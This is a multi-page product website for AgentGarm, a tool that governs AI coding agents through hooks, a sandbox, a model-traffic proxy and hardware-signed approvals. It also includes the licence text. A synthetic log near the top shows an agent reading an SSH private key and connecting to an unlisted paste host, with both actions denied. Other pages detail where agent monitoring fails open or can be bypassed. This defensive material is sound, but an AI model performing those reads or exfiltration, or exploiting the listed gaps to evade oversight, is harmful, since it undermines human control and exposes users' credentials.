# Runtime governance for AI agents URL: https://agentgarm.com/ Runtime governance for AI agents Every agent action, decided where it happens. AgentGarm sits between your AI coding agents and your machine. It parses what they run, decides by your policy, asks you for a hardware-signed approval when it matters, and records every decision and what it cost, as one task. DownloadSee how it worksTry the dashboard demo Free to use · Signed releases · Prompts stay on your machine Early access: join the beta. One task, four decisionsSynthetic example14:02:11git status --shortclaude code · parsed argv, matched an allow rule · hookallowed 14:03:05npm publishclaude code · held for approval, signed with Touch ID · hook + presence keyapproved 14:03:40connect paste.example.net:443claude code · egress to an unlisted host · sandboxdenied 14:04:02cat ~/.ssh/id_ed25519claude code · a credential path, unreadable inside the sandbox · sandboxdenied Hook adapters for Claude Code · Cursor · Codex CLI · Devin Desktop · GitHub Copilot CLI · Cline (extension) · Cline CLI. What each one gets 01 Layers, not one hook A hook is only as strong as the agent that calls it. AgentGarm governs each agent through every layer that reaches it, and says which layer enforces what. Agent hooksat most B; C until the agent's live run is recorded Each agent's own hook API asks agentgarmd before a tool runs. Every vendor fails open when a hook times out, so hooks are advisory. agentgarm run and the sandboxB; A once an OS sentinel makes launching through it mandatory The launcher starts the agent in an OS sandbox: credential paths unreadable, egress only to listed hosts. The kernel holds it for the session. LLM proxyB where the sandbox makes it unavoidable, else C A loopback proxy sees model traffic, redacts secrets with stable placeholders so the provider's prompt cache still works, and counts tokens and cost. MCP gatewaypreview: not yet claimed MCP servers run through AgentGarm, which checks each tool call against policy and pins what may be launched. Computer-use airbagpreview: not yet claimed On a Mac, an agent that drives the desktop runs with the airbag, which drops its synthetic clicks and keystrokes on protected apps; a capture monitor flags agents that can capture the screen and pauses them while a sensitive app is in front. OS sentinelspreview: not yet claimed Endpoint Security on macOS and the Windows sentinel watch what the agent's processes do, beneath the agent. 02 One task, one story Every event carries the task it belongs to, so a session reads as one account rather than a pile of logs. The process tree the agent started, with each command's parsed argv and the rule that decided it. Each model call: provider, model, tokens and cost, with secrets redacted before they leave. The files it changed, with a checkpoint before the task, so it can be rolled back. The local dashboard (agentgarm ui), on sample data: the tasks, levels and decisions are examples. What each agent is rated today is on coverage. Open the dashboard demo 03 Approvals a process cannot forge The agent runs as you, so a local click proves nothing. An approval is a signature from a key bound to hardware and your presence. On a Mac with Touch ID, AgentGarm enrols a presence key in the Secure Enclave. agentgarmd verifies the signature over the exact action before it lets it through, so a process running as you cannot approve on your behalf. FIDO2 security keys, Windows Hello and passkeys are built and not yet claimed. 04 What it cost, and who spent it Model spend is attributed to the task, the developer and the credential that made it. Costs come from the proxy's token counts, priced from a versioned catalog, and a budget can suspend a task that runs over. Reconciliation with the providers' reports and FOCUS export are built preview. Cost attribution 05 Fail modes you can read Every enforcement path declares how it fails and where that is enforced. Nothing fails open quietly. How each path fails, and what enforces itPathModeEnforced by A hook's decisionfail open, alertthe agent: every vendor runs the tool when a hook times out Starting a launched agentfail closedagentgarm run, which will not start the agent without agentgarmd A launched agent's files and networkfail closedthe sandbox, which the kernel keeps in force for the session An approval, with a presence key enrolledfail closedagentgarmd, which allows the action only on that key's signature 06 A fleet, and one switch to stop it Central Lite runs the same controls across many machines, and stops agents across all of them when something goes wrong. A kill order that several approvers sign with their own keys, and that every machine checks before it stops its agents preview. An incident timeline for a task, and an evidence bundle of its signed audit records preview. Sign-in through your identity provider, people provisioned by SCIM, and a role for each admin preview. The fleet's security events forwarded to Splunk or Microsoft Sentinel preview. Explore the console demo Stop agents across a fleet · Explore the console on synthetic data Central Lite's console on a fictional company's synthetic data: an incident's timeline, from the first finding to the kill order that stopped the task. Its sentinels and levels are examples; what each platform is rated today is on coverage. Open it in the demo Editions CommunityFree Everything on one machine: agentgarmd, the session service, hooks, the launcher and sandbox, the proxy and the local dashboard. Download · Try the demo Central LiteFree · self-hosted · preview One service for small fleets: enrolment, policy push, inventory, cost by developer and remote approvals. Built, not yet claimed. Download Central Lite · Try the demo CentralSubscription · planned The fleet control plane for large organisations, hosted by us or run on your own infrastructure. Talk to us Download AgentGarm Community For macOS, Windows and Linux. Releases are signed, and a platform not yet code-signed ships as a marked preview; check yours before you run it. DownloadVerify your download # How it works URL: https://agentgarm.com/how-it-works How it works The layers AgentGarm governs an agent through, how it correlates one task, and where each fail mode is enforced. Processes, split by privilege agentgarmd holds the policy, the keys, the hash-chained audit log and approval verification. In a root install it runs as root; in no-root mode it runs as you, and the levels below drop accordingly. agentgarm-session runs as you: the loopback LLM proxy, the agentgarm run launcher and the local dashboard. It reads model traffic, so it never runs as root. agentgarm-agent runs in your desktop session: the menu bar or tray, notifications and the approval prompts. Each agent calls agentgarm-hook on its hook events, and the hook asks agentgarmd directly, so decisions keep working when the session service is down. Layers, and what each can give Hooks are advisory: every vendor lets the tool run when a hook times out, even an administrator's. So fail closed rests on the launcher, which will not start an agent without agentgarmd, and on the sandbox, which the kernel keeps in force for the session. The layers, what each sees and can do, and the level it can giveLayerSeesCan doFail mode and level Agent hooks and managed settingsThe exact tool and its arguments, before it runsAllow, deny or askFails open on the vendor's timeout. At most B; C until the agent's live run is recorded agentgarm run: launcher, sandbox, checkpointsThe process tree, files and resourcesContain, roll backFails closed at launch. B; A only once an OS sentinel makes launching through it mandatory Loopback LLM proxy and accountingPrompts, usage and costInspect, budgetB where the sandbox makes it unavoidable (macOS), else C MCP gatewaypreviewJSON-RPC, schema hashes, tool callsIsolate, pin, apply flow rulesNot yet claimed Browser shim and extensionpreviewBrowser automation and web chat inputMediate, quarantine downloads, check pastes for secretsNot yet claimed Computer-use airbag and capture monitor (macOS)previewSynthetic clicks and keystrokes, screen captureDrop input on protected apps, pause agents that can capture the screen while a sensitive app is in front, suspend the agent if the airbag stopsNot yet claimed OS sentinelspreviewExecutions, files, socketsA backstop beneath the agentNot yet claimed Assurance levels Every session carries one level, recorded on every event: the weakest level among the controls its policy relies on, and lowered for the rest of the task when a control is bypassed or degrades. A, enforced: a mechanism the agent can neither disable nor make fail open, and that you cannot sidestep by starting the agent another way. B, controlled: enforced for the session by the kernel or a contract the agent cannot change from inside it, but the agent could have been started outside it, or it can fail open. C, observed: detection and accounting only. Agent coverage lists each agent at its level today, generated from the adapters' data. What “preview” means AgentGarm is built ahead of its release gates. A feature marked preview is built and tested, but no release claims it until its gate has been passed on real use: dogfood days, nightly runs, a release. Until then the site names it and does not count on it. Commands are parsed, never matched as strings Policy is evaluated over parsed argv and the process lineage, not the raw command line. Anything the parser cannot read for certain, such as an expansion or a parse error, is treated as opaque, so it never matches an allow rule by accident. One task, from start to finish Every event is tied to the agent task that caused it: the process tree, each model call with its tokens and cost, each file the agent changed. Before a task starts, AgentGarm can checkpoint the workspace with git, so the task's changes can be rolled back. The local dashboard's Activity, on sample data: decisions, model calls, alerts and MCP events as they happen. Open it in the demo. Across a fleet Central Lite preview runs the same controls across many machines. It signs policy and rolls it out in stages, collects each machine's evidence, attributes cost by developer and credential, and forwards security events to Splunk or Microsoft Sentinel. Admins sign in with a passkey or through the organisation's identity provider, each with a role, and every change they make is confirmed with their passkey. A kill order, signed by several approvers, stops agents on every machine it names; each machine checks the signatures itself before it acts. Every machine keeps enforcing on its own: a machine that cannot reach Central keeps its last signed policy, and once that policy expires, the policy itself says whether to keep enforcing, drop to audit or deny. # Agent coverage URL: https://agentgarm.com/coverage Agent coverage Each agent AgentGarm has a hook adapter for, the level it is rated at today, and its gaps. How to read it Each row is generated from the agent's hook adapter, the data file AgentGarm reads its hook payloads with. Best is the most that agent's hooks can give, as its adapter records it: never above B, and C where the agent offers no way to fail closed or the hook file is yours to edit. Today is what we state now: an agent is held at C until its adapter has had a live, recorded run on macOS and Linux, and an adapter built ahead of its release gate is not yet claimed at all. The launcher and sandbox can raise a session above its hooks; how levels combine. Hook coverage per agentAgentHook sourceVerified againstBestTodayGaps Claude Codemanaged hooks2.1.296 (2026-10-13)BC2 gapsMCP servers that Claude Code or its host app loads by itself (in-process servers, claude.ai connectors, Claude in Chrome) load beside the policy's. Without root, the MCP servers in your own or the project's configuration load beside the policy's. Codex CLImanaged hooks0.165.0 (2026-11-01)CC7 gapsNo ask: Codex cannot pause for an answer, so a policy's ask is applied as a deny. No fail-closed option: if a hook times out, crashes or answers badly, the call goes ahead. Codex cannot apply a changed tool call, so a modification is applied as a deny. Windows is not supported in this release. On Windows, a registry setting can point Codex at a different requirements file, which leaves AgentGarm's hooks unloaded; AgentGarm warns when it finds one. Newer Codex hook events (around model requests, messages between agents, and hooks run in remote environments) are not observed by AgentGarm. The MCP allow-list AgentGarm writes for Codex is observed (C) until a run proves Codex enforces it. Ampuser file0.0.1792008042-gef0030 (2026-10-15)—built, not yet claimedlisted once claimed Antigravityuser file1.3.1 (2026-10-15)—built, not yet claimedlisted once claimed Cline (extension)user file4.1.24 (2026-10-15)—built, not yet claimedlisted once claimed Cline CLIuser file3.0.71 (2026-10-15)—built, not yet claimedlisted once claimed Cursorsystem file2026.10.14 (2026-10-14)—built, not yet claimedlisted once claimed Devin CLIuser file3000.11.3 (2026-10-14)—built, not yet claimedlisted once claimed Devin Desktopuser file3.10.48 (2026-10-14)—built, not yet claimedlisted once claimed Factory Droidmanaged hooks0.240.0 (2026-10-14)—built, not yet claimedlisted once claimed Gemini CLIsystem file0.64.0 (2026-10-14)—built, not yet claimedlisted once claimed GitHub Copilot CLImanaged hooks1.0.97 (2026-10-14)—built, not yet claimedlisted once claimed OpenCode v1system file1.19.0 (2026-10-15)—built, not yet claimedlisted once claimed OpenCode v2system file2.0.29 (2026-10-15)—built, not yet claimedlisted once claimed # Cost attribution URL: https://agentgarm.com/finops Cost attribution What AI agents cost, per task and per developer, with budgets and FOCUS export. Every call has an owner The loopback proxy counts each model call's tokens and ties the call to its task. The local dashboard shows spend by task and model, priced from a versioned catalog of models and prices rather than numbers in the code. Accounting is as strong as the path it sees: where the sandbox makes the proxy unavoidable it is controlled (B), elsewhere an agent can route around it, and the figures are observed (C). Budgets A budget warns at a threshold, and a task that exceeds it can be suspended: every further decision is denied. By default a task and the subagents it starts share one budget, so a swarm cannot race past it: at most one last call can go over. Loop detection notices an agent repeating the same action and stops it, and swarm limits cap how deep and how many subagents a task may start. Across a fleet Reconciling against the providers' own usage reports preview: Anthropic, OpenAI, Cursor, GitHub Copilot and Devin. Cost by developer and credential in Central Lite preview, and export in FOCUS, the FinOps Foundation's open billing format preview. Central Lite's costs on a fictional company's synthetic data. Open it in the demo. # Editions URL: https://agentgarm.com/editions Editions AgentGarm Community, Central Lite and Central: what each includes and how each is offered. AgentGarm's editionsEditionForIncludesLicence CommunityOne machineagentgarmd, the session service, hooks, the launcher and sandbox, the LLM proxy and the local dashboardFree Central LitepreviewSmall fleetsEnrolment, policy push with staged rollout, inventory, cost by developer, remote approvals, the private MCP registry, the fleet kill switch and incident evidence, single sign-on, SCIM provisioning, console roles and SIEM forwardingFree, self-hosted CentralLarge organisations, or no server to runCentral Lite's controls for larger fleets, as a hosted service or on your own infrastructureSubscription · planned Central Central is being built, and none of it is offered yet. It is Central Lite's controls for fleets past about 50 developers: it starts on the same single-server store as Central Lite and moves to a clustered store as a fleet grows, and an organisation moves from Central Lite to it by export and import. It is planned in two forms: Hosted: we run Central for you as a subscription service, so there is no server to keep. It starts in the United States, with a European region added when a customer needs its data kept in the EU. On your own infrastructure: the same service in your cloud or data centre, operated by your team. Either way your machines keep enforcing policy on their own: Central distributes policy and collects evidence, and a machine that cannot reach it keeps its last signed policy. Single sign-on, SCIM provisioning, console roles and SIEM forwarding are in Central Lite, free like the rest of it and, like the rest of Central Lite, in preview: sign in through Okta, Entra ID or another OIDC provider (Sign in to the console with your identity provider), let your provider create and remove people (Provision and remove people with SCIM), give each admin a role (Give people the right access in the console), and forward the fleet's security events to Splunk or Microsoft Sentinel (Send the fleet's security events to Splunk or Sentinel). The fleet kill switch is in Central Lite, at no charge: kill orders that several approvers sign and every machine checks, with incident timelines and evidence bundles (Stop agents across a fleet). Like the rest of Central Lite it is in preview. To see the fleet console without installing anything, explore it on a fictional company's synthetic data; it runs in your browser and sends nothing anywhere. Central Lite's inventory, on the demo's synthetic data: its sentinels, key custody and levels are examples. What each platform is rated today is on coverage.To talk about Central for your organisation, email support@nannertech.com. Licence AgentGarm is proprietary software by Nanner Tech LLC. Community and Central Lite are free to install and use inside your organisation under AgentGarm's licence; Central is licensed by agreement. The Linux eBPF programs carry a GPL-compatible licence, as the kernel requires. Licence and credits. # Changelog URL: https://agentgarm.com/changelog Changelog Each AgentGarm release, newest first, with its notes and its date, from the first public release, Community 0.1.0. No release yet The first public release, AgentGarm Community 0.1.0, will be listed here with its notes, and on the download page. Join the beta to hear when it is out. # Join the beta URL: https://agentgarm.com/beta Join the beta Try AgentGarm before its first release: who the beta is for, what it tests, and one prefilled email to join it. Join Email us to join the beta. The message is filled in for you: say which platform and which agents you use. We write back when there is a release for you to install, and that is all the address is used for (privacy). AgentGarm Community 0.1.0 is not published yet. When it is, it is on the download page and in the changelog, with its checksums and signatures. Who it is for first Developers on macOS or Linux who use Claude Code or Codex CLI: the two agents this release claims, both held at C on the coverage page until their live run is recorded. Other agents are built and listed there as not yet claimed; you are welcome with them too, and what you report about them helps. Windows preview is an unsigned preview, and Central Lite preview for fleets is a preview too. Ask for either if you want to try it, knowing it is not yet supported. What the beta tests The Community edition on one machine: an agent brought under a policy in audit mode, a week of watching what it would have denied, then enforcing; approvals; and the audit log and cost of each task. The quick start and the how-to guides are the script, and every step they say was checked says where it ran. Each control states how it is enforced and how it fails, on how it works; nothing there is rounded up for the beta. Feedback Reply to the invitation, or write to support@nannertech.com. A vulnerability goes to the same address with [security] at the start of the subject (security). # For AI agents URL: https://agentgarm.com/agents For AI agents Where an AI agent, or the person pointing one here, finds this site's llms.txt, its full text, the policy schema and the release feed. Files to read llms.txt: every page of this site with a one-line description, the how-to guides under their own heading, and preview pages marked as built, not yet claimed. llms-full.txt: the text of every page in one file. The policy schema: the JSON Schema an agents.d policy is validated against, at a URL that stays the same for its version. The release feed: an Atom feed of every release. Helping someone set AgentGarm up Start from the quick start and the how-to guides; every command in them is checked against the CLI's own reference. Write a policy in audit mode first, and check it with agentgarm policy lint before the person enforces it. Coverage says which agents are claimed and at which level. To show someone the fleet console, point them at the console demo: it runs in the browser on a fictional company's synthetic data, needs no account and changes nothing outside its tab. It is an app, not a page of text, and is left out of llms.txt and the sitemap. Some steps are the person's by design and cannot be done for them: an approval needs the person at the machine (their Touch ID on a Mac; a security key, a passkey or their password elsewhere preview), and agentgarmd refuses a process inside a governed task that tries to open an enrolment or relay an approval. Ask the person to do those steps themselves. # About URL: https://agentgarm.com/about About Who makes AgentGarm, how to reach us, and where the name comes from. Who makes it AgentGarm is made by Nanner Tech LLC (nannertech.com), and built and maintained by one person, who also builds the AI tools it was first tested on. That is why the product pages say how each control is enforced, how it fails and what is not yet claimed: a one-person project cannot ask for trust, so it writes everything down to be checked. Security reports reach that person directly (report a vulnerability). Contact support@nannertech.com, for support and for vulnerability reports (start the subject with [security]). The name In Norse myth, Garm is the hound that keeps watch at the gate. The mark is that gate, with an ember in it: the point where each agent action is decided. # Download URL: https://agentgarm.com/download Download AgentGarm for macOS, Windows and Linux, and Central Lite, with checksums and signatures. The first release is on its way AgentGarm Community 0.1.0 will be published here, with its checksums and signatures. Until then, the documentation shows what installing it involves. Join the beta to hear when it is out: one email, filled in for you. macOS Apple silicon and Intel, macOS 15 and later Published with the first release. Install guide Linux x86_64 and ARM64: Debian, Ubuntu, Fedora, RHEL Published with the first release. Install guide Windowspreview x64 and ARM64 Published with the first release. Install guide Central Litepreview The fleet service for small fleets Published with the first release. Install guide Each install guide ends at a running install; the how-to guides take it from there. For CI and dev containers The GitHub Action and the dev container feature preview install a release in a job or an image, verified the same way. AgentGarm in CI. Verify before you run it Every release carries SHA256SUMS and a minisign signature over it by the release key. Check both: verify a download. There is no curl | sh installer: a script piped into a shell cannot be checked before it runs. # Verify a download URL: https://agentgarm.com/download/verify Verify a download How to check an AgentGarm download's SHA-256 and its minisign signature before you run it. Why both checks The SHA-256 proves the file is the one listed in SHA256SUMS. The minisign signature proves SHA256SUMS was signed with the release key, which never leaves the release machine. So a file altered where the downloads are stored fails the check. Both checks rest on the key you check against. If you take it from this site, they cannot catch this site itself being changed: compare it with a copy from somewhere else, such as one we send you from support@nannertech.com. A valid signature also does not say a release is the newest or has not been withdrawn: the download page says that. 1. Download the checksums and their signature From the same release as your file: SHA256SUMS and SHA256SUMS.minisig, and the release key. The release key is published with the first release. Download the checksums, signature and key on macOS or Linux curl -fLO https://agentgarm.com/download/X.Y.Z/SHA256SUMS curl -fLO https://agentgarm.com/download/X.Y.Z/SHA256SUMS.minisig curl -fLO https://agentgarm.com/keys/release-feed.pub Download the checksums, signature and key in PowerShell foreach ($f in "download/X.Y.Z/SHA256SUMS", "download/X.Y.Z/SHA256SUMS.minisig", "keys/release-feed.pub") { Invoke-WebRequest "https://agentgarm.com/$f" -OutFile (Split-Path $f -Leaf) } 2. Check the signature With minisign: Verify the signature minisign -Vm SHA256SUMS -p release-feed.pub 3. Check your file Check the SHA-256 on macOS shasum -a 256 -c SHA256SUMS --ignore-missing Check the SHA-256 on Linux sha256sum -c SHA256SUMS --ignore-missing Check the SHA-256 in PowerShell (Get-FileHash .\agentgarm-X.Y.Z-x86_64-pc-windows-msvc.msi -Algorithm SHA256).Hash.ToLower() Select-String -Path .\SHA256SUMS -SimpleMatch "agentgarm-X.Y.Z-x86_64-pc-windows-msvc.msi" The two hashes must be the same. If either check fails, do not run the file, and tell us. # Security model URL: https://agentgarm.com/security Security model How AgentGarm is built to be trusted: least privilege, hardware-bound approvals, signed everything. The agent is the adversary An AI agent runs as you. It can read what you can read, start what you can start, and stop or impersonate any process that runs as you. AgentGarm is designed on that assumption: nothing that runs as you is trusted to decide, and nothing local counts as authenticated. In a root install The strongest guarantees need an administrator to install AgentGarm as root: The policy, the keys and the audit log are held by agentgarmd, a process the agent cannot write to. An approval is a signature from a presence key bound to hardware, which agentgarmd verifies over the exact action: on a Mac, the Secure Enclave with Touch ID. FIDO2 security keys, Windows Hello and passkeys are built preview. In no-root mode everything runs as you. AgentGarm still records and decides, but an agent could interfere with it, so a no-root session is rated lower and says so. Least privilege The LLM proxy, which reads model traffic, and the launcher, which runs your code, run as you and never as root. Loopback services check the Host and Origin of every request. The session service keeps no long-term secret on disk. Key custody The node's key is held in the macOS Keychain, or in a file only its owner can read, and every machine reports its key custody, so a software-held key is visible as such. Hardware-held custody, in the Secure Enclave or a TPM, is built preview. AgentGarm never routes, stores or reuses subscription credentials such as a Claude.ai session. Across a fleet In Central Lite preview, an admin signs in with a passkey, and every change in the console is confirmed with a fresh passkey assertion over that exact change. Each admin has a role, so an auditor can read and export evidence but change nothing else, and people your identity provider removes lose access through SCIM. A fleet kill order preview needs signatures from several approvers' keys, and each machine verifies them before it stops anything. With the organisation's root held offline by two or more people, no single account, not even Central's own, can stop a fleet alone; under the single software root a small install starts with, whoever controls Central's server could. An incident exports as an evidence bundle of signed audit records that can be checked away from Central preview. Central's keys can be wrapped by a hardware security module over PKCS#11 preview. Kill orders in Central Lite, on synthetic data. Open them in the demo. Your data stays on the machine Prompt bodies stay on the machine. The proxy inspects model traffic locally; nothing is sent to us, and this site collects nothing about you. Signed releases Releases are code-signed and notarised; a platform whose signing is not yet in place ships only as a marked preview, and the download page says which. Every release carries SHA-256 checksums and a minisign signature over them: verify a download. An audit log you can check Decisions, approvals and alerts are appended to a hash-chained log, and agentgarm verifies the chain, so an edited or removed entry inside it is detected. Report a vulnerability Email support@nannertech.com and start the subject with [security]. Please say what is affected and how to reproduce it, and do not open a public issue. We coordinate disclosure with you. # Privacy URL: https://agentgarm.com/privacy Privacy What this site and AgentGarm collect, and what they do not. This site This site sets no cookies, runs no analytics and loads nothing from any other site: its pages, fonts and images are all served from agentgarm.com. It has no accounts and no forms. It is hosted on Firebase Hosting, whose servers keep standard request logs (such as your IP address and the page asked for) under Google's own terms. We do not use them to identify you. AgentGarm AgentGarm runs on your machines. Prompts and the evidence it records stay there; nothing is sent to us. If your organisation runs Central, your machines send it what its policy asks for, redacted first; that server is your organisation's, not ours. The console demo runs entirely in your browser on synthetic data: what you click or change there stays in that tab and is gone when you reload it, and nothing is sent to us or anywhere else. We plan to offer Central as a hosted service too. Your organisation would then choose to send that data to us, and its agreement with us would name where the data is kept and who processes it. Contact An email you send us, to join the beta or for support, is used only to answer it and to tell you about releases you asked to hear about. Questions about privacy: support@nannertech.com. # Terms URL: https://agentgarm.com/terms Terms The licence for AgentGarm's free binaries; terms for this site and the commercial editions are being written. The software AgentGarm Community and Central Lite are free to install and use inside your organisation under AgentGarm's licence, which also says what you may not do with them and provides them without warranty. Some components are third-party software under their own licences, listed on the same page. This site Terms for using this site and for the commercial editions are being written and will be published here. Questions in the meantime: support@nannertech.com. # Licence and credits URL: https://agentgarm.com/credits Licence and credits AgentGarm's licence, and the projects, standards and typefaces it builds on. AgentGarm's licence AgentGarm is proprietary software by Nanner Tech LLC. The binaries it distributes are free to install and use inside your organisation under the terms below. The Linux eBPF programs carry a GPL-compatible licence, as the kernel requires of programs that use its GPL-only helpers. AgentGarm's licence terms, in fullAgentGarm Copyright (c) 2026 Nanner Tech LLC. All rights reserved. 1. Source code This repository, including its source code, documentation, schemas, policies and build files, is proprietary and confidential to Nanner Tech LLC. No licence or other right to use, copy, modify, distribute or disclose it is granted, except under a separate written agreement with Nanner Tech LLC. 2. Binaries distributed by Nanner Tech LLC Subject to these terms, Nanner Tech LLC grants you a free, non-exclusive, non-transferable, revocable licence to install and use, for your own internal purposes, the AgentGarm binaries it distributes (for example through agentgarm.com, its signed release feed or its package repositories), in the form it distributes them. You may not: (a) sell, rent, sublicense or redistribute the binaries, other than deploying them inside your own organisation; (b) reverse engineer, decompile or disassemble them, except to the extent applicable law expressly permits it despite this restriction; (c) remove or alter any proprietary notice; or (d) use them to build a competing product or service. Commercial editions and hosted services are governed by their own agreements. 3. Third-party components Some components are third-party software under their own licences. The NOTICE file and the third_party/ directory list them; their licences, not these terms, govern those components. The Apache License 2.0, under which the work named in NOTICE is licensed, is reproduced in the appendix below. 4. No warranty; limitation of liability THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. TO THE EXTENT PERMITTED BY LAW, IN NO EVENT SHALL NANNER TECH LLC BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR ITS USE. 5. Termination This licence ends automatically if you breach these terms. On termination you must stop using and delete the binaries. Notice AgentGarm Copyright (c) 2026 Nanner Tech LLC. All rights reserved. See LICENSE. This product includes software derived from the following third-party work: @anthropic-ai/sandbox-runtime (Apache License 2.0; its text is the appendix of LICENSE) Copyright Anthropic, PBC. The macOS Seatbelt profile generation in crates/garm-sandbox/src/seatbelt.rs is a Rust port of the profile logic in dist/sandbox/macos-sandbox-utils.js and dist/sandbox/sandbox-utils.js. Ported from version 0.0.76; see docs/SANDBOX.md for the upstream version tracking and the differences from upstream.The Apache License 2.0, in fullApache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives. Copyright [yyyy] [name of copyright owner] Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Standards and schemas it builds on Copied verbatim from a pinned upstream release or commit, so builds work offline. The FOCUS column definitions are a subset of the FinOps Open Cost and Usage Specification, copyright Joint Development Foundation Projects, LLC, FOCUS Series and its 